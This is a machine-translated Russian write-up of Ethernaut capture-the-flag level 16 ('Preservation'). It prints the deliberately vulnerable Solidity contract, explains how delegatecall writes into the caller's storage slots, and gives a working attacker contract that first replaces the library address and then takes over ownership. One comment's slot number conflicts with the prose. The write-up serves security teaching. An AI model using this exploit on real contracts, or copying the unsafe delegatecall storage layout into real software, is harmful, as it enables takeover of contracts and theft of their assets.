Эфирная серия — уровень 16 (сохранение)


УРОВЕНЬ 16 (сохранение):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
Войдите в полноэкранный режим Выход из полноэкранного режима

Требования к сдаче экзаменов

владелец=игрок

Ключевые моменты

1. понять, как delegatecall обрабатывает хранение данных
Уровень 6 имеет что-то вроде
https://dev.to/bin2chen/ethernautxi-lie-level-6delegate-31gk

2. как хранится место хранения

Решение

Вызов delegatecall использует код вызываемого контракта, но хранилище используется хранилищем вызывающей стороны
Таким образом, при первом вызове setFirstTime, хранимое время LibraryContract(slot:0) соответствует местоположению timeZone1Library(slot:0) сохранения, поэтому timeZone1Library будет перезаписано временем входа Второй вызов setFirstTime вызовет этот внешний контракт, а затем напишет owner(slot:2) через этот внешний контракт, чтобы изменить владельца

contract PreservationRun {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 

  function setTime(uint256 _time) public {
    owner = address(uint160(_time));
  }
  function run(address _runAddress, address _playerAddress) external payable {
    //调用第一次setFirstTime后,会覆盖Preservation.sol的timeZone1Library为本合约
    ILevel(_runAddress).setFirstTime(uint160(address(this)));

    //第二次时间是调用这个合约的setTime,但storage用的是Preservation.sol的storage的slot:3即owner
    ILevel(_runAddress).setFirstTime(uint160(_playerAddress));
  }  
}
Войдите в полноэкранный режим Выход из полноэкранного режима

Оцените статью
Procodings.ru
Добавить комментарий